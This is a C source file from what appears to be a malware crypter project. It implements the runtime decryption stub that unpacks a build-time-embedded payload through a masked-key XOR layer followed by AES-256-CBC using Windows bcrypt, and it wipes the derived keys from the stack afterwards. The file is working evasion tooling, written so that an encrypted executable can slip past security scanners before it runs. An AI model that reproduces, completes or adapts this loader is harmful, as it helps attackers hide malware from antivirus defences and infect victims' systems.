Files
2026-08-27 11:03:10 -06:00

167 lines
5.7 KiB
C
Executable File

/**
* decrypt_layer.c — XOR + AES-256-CBC decryption using bcrypt.dll
*
* Layered decryption:
* 1. XOR decrypt with embedded 32-byte key
* 2. AES-256-CBC decrypt via Windows CNG (bcrypt.dll)
*
* Keys, IV, and payload are patched in by the crypter engine at build time.
*/
#include <windows.h>
#include <bcrypt.h>
#include <stdint.h>
#include <string.h>
#pragma comment(lib, "bcrypt")
/* ── Patched at build time (keys XOR'd with per-build mask) ───────── */
/* CRYPTER_KEY_MASK_PLACEHOLDER */
static const uint8_t KEY_MASK[32] = { 0 };
/* CRYPTER_XOR_KEY_ENC_PLACEHOLDER */
static const uint8_t XOR_KEY_ENC[32] = { 0 };
/* CRYPTER_AES_KEY_ENC_PLACEHOLDER */
static const uint8_t AES_KEY_ENC[32] = { 0 };
/* CRYPTER_AES_IV_ENC_PLACEHOLDER */
static const uint8_t AES_IV_ENC[16] = { 0 };
/* CRYPTER_PAYLOAD_PLACEHOLDER */
static const uint8_t ENCRYPTED_PAYLOAD[] = { 0 };
/* CRYPTER_PAYLOAD_LEN_PLACEHOLDER */
static const uint32_t PAYLOAD_LEN = 0;
/* ── XOR layer ─────────────────────────────────────────────────────── */
static void xor_decrypt(uint8_t *data, uint32_t len, const uint8_t *key, uint32_t key_len) {
for (uint32_t i = 0; i < len; i++) {
data[i] ^= key[i % key_len];
}
}
/* ── AES-256-CBC layer (CNG) ───────────────────────────────────────── */
static int aes_decrypt(const uint8_t *ciphertext, uint32_t ct_len,
const uint8_t *key, const uint8_t *iv,
uint8_t *plaintext, uint32_t *pt_len) {
BCRYPT_ALG_HANDLE hAlg = NULL;
BCRYPT_KEY_HANDLE hKey = NULL;
NTSTATUS status;
ULONG result_len = 0;
DWORD key_obj_size = 0;
ULONG data_size = 0;
uint8_t *key_obj = NULL;
uint8_t iv_copy[16];
int ret = 0;
/* Open AES provider */
status = BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
if (!BCRYPT_SUCCESS(status)) return 0;
/* Set CBC mode */
status = BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE,
(PUCHAR)BCRYPT_CHAIN_MODE_CBC,
sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
if (!BCRYPT_SUCCESS(status)) goto cleanup;
/* Get key object size */
status = BCryptGetProperty(hAlg, BCRYPT_OBJECT_LENGTH,
(PUCHAR)&key_obj_size, sizeof(key_obj_size),
&data_size, 0);
if (!BCRYPT_SUCCESS(status)) goto cleanup;
key_obj = (uint8_t *)HeapAlloc(GetProcessHeap(), 0, key_obj_size);
if (!key_obj) goto cleanup;
/* Generate symmetric key */
status = BCryptGenerateSymmetricKey(hAlg, &hKey, key_obj, key_obj_size,
(PUCHAR)key, 32, 0);
if (!BCRYPT_SUCCESS(status)) goto cleanup;
/* BCryptDecrypt modifies the IV buffer in-place, so copy it */
memcpy(iv_copy, iv, 16);
/* Decrypt */
status = BCryptDecrypt(hKey, (PUCHAR)ciphertext, ct_len, NULL,
iv_copy, 16, plaintext, ct_len, &result_len, BCRYPT_BLOCK_PADDING);
if (!BCRYPT_SUCCESS(status)) goto cleanup;
*pt_len = result_len;
ret = 1;
cleanup:
if (hKey) BCryptDestroyKey(hKey);
if (key_obj) HeapFree(GetProcessHeap(), 0, key_obj);
if (hAlg) BCryptCloseAlgorithmProvider(hAlg, 0);
return ret;
}
/* ── Public API ────────────────────────────────────────────────────── */
/**
* Derive a key by XOR'ing encrypted key with mask. Operates on the stack.
*/
static void derive_key(uint8_t *out, const uint8_t *enc, const uint8_t *mask, uint32_t len) {
for (uint32_t i = 0; i < len; i++) {
out[i] = enc[i] ^ mask[i % 32];
}
}
/**
* Decrypt the embedded payload. Caller must HeapFree the returned buffer.
* Returns NULL on failure.
*/
uint8_t *decrypt_payload(uint32_t *out_len) {
/* Derive keys on the stack from masked storage */
volatile uint8_t xor_key[32];
volatile uint8_t aes_key[32];
volatile uint8_t aes_iv[16];
derive_key((uint8_t *)xor_key, XOR_KEY_ENC, KEY_MASK, 32);
derive_key((uint8_t *)aes_key, AES_KEY_ENC, KEY_MASK, 32);
derive_key((uint8_t *)aes_iv, AES_IV_ENC, KEY_MASK, 16);
/* Copy encrypted payload to writable buffer for XOR pass */
uint32_t enc_len = PAYLOAD_LEN;
uint8_t *buf = (uint8_t *)HeapAlloc(GetProcessHeap(), 0, enc_len);
if (!buf) goto wipe_keys;
memcpy(buf, ENCRYPTED_PAYLOAD, enc_len);
/* Layer 1: XOR */
xor_decrypt(buf, enc_len, (const uint8_t *)xor_key, 32);
/* Layer 2: AES-256-CBC */
uint8_t *plaintext = (uint8_t *)HeapAlloc(GetProcessHeap(), 0, enc_len);
if (!plaintext) {
HeapFree(GetProcessHeap(), 0, buf);
goto wipe_keys;
}
uint32_t pt_len = 0;
if (!aes_decrypt(buf, enc_len, (const uint8_t *)aes_key, (const uint8_t *)aes_iv, plaintext, &pt_len)) {
HeapFree(GetProcessHeap(), 0, buf);
HeapFree(GetProcessHeap(), 0, plaintext);
goto wipe_keys;
}
HeapFree(GetProcessHeap(), 0, buf);
/* Wipe derived keys from stack */
SecureZeroMemory((void *)xor_key, 32);
SecureZeroMemory((void *)aes_key, 32);
SecureZeroMemory((void *)aes_iv, 16);
*out_len = pt_len;
return plaintext;
wipe_keys:
SecureZeroMemory((void *)xor_key, 32);
SecureZeroMemory((void *)aes_key, 32);
SecureZeroMemory((void *)aes_iv, 16);
return NULL;
}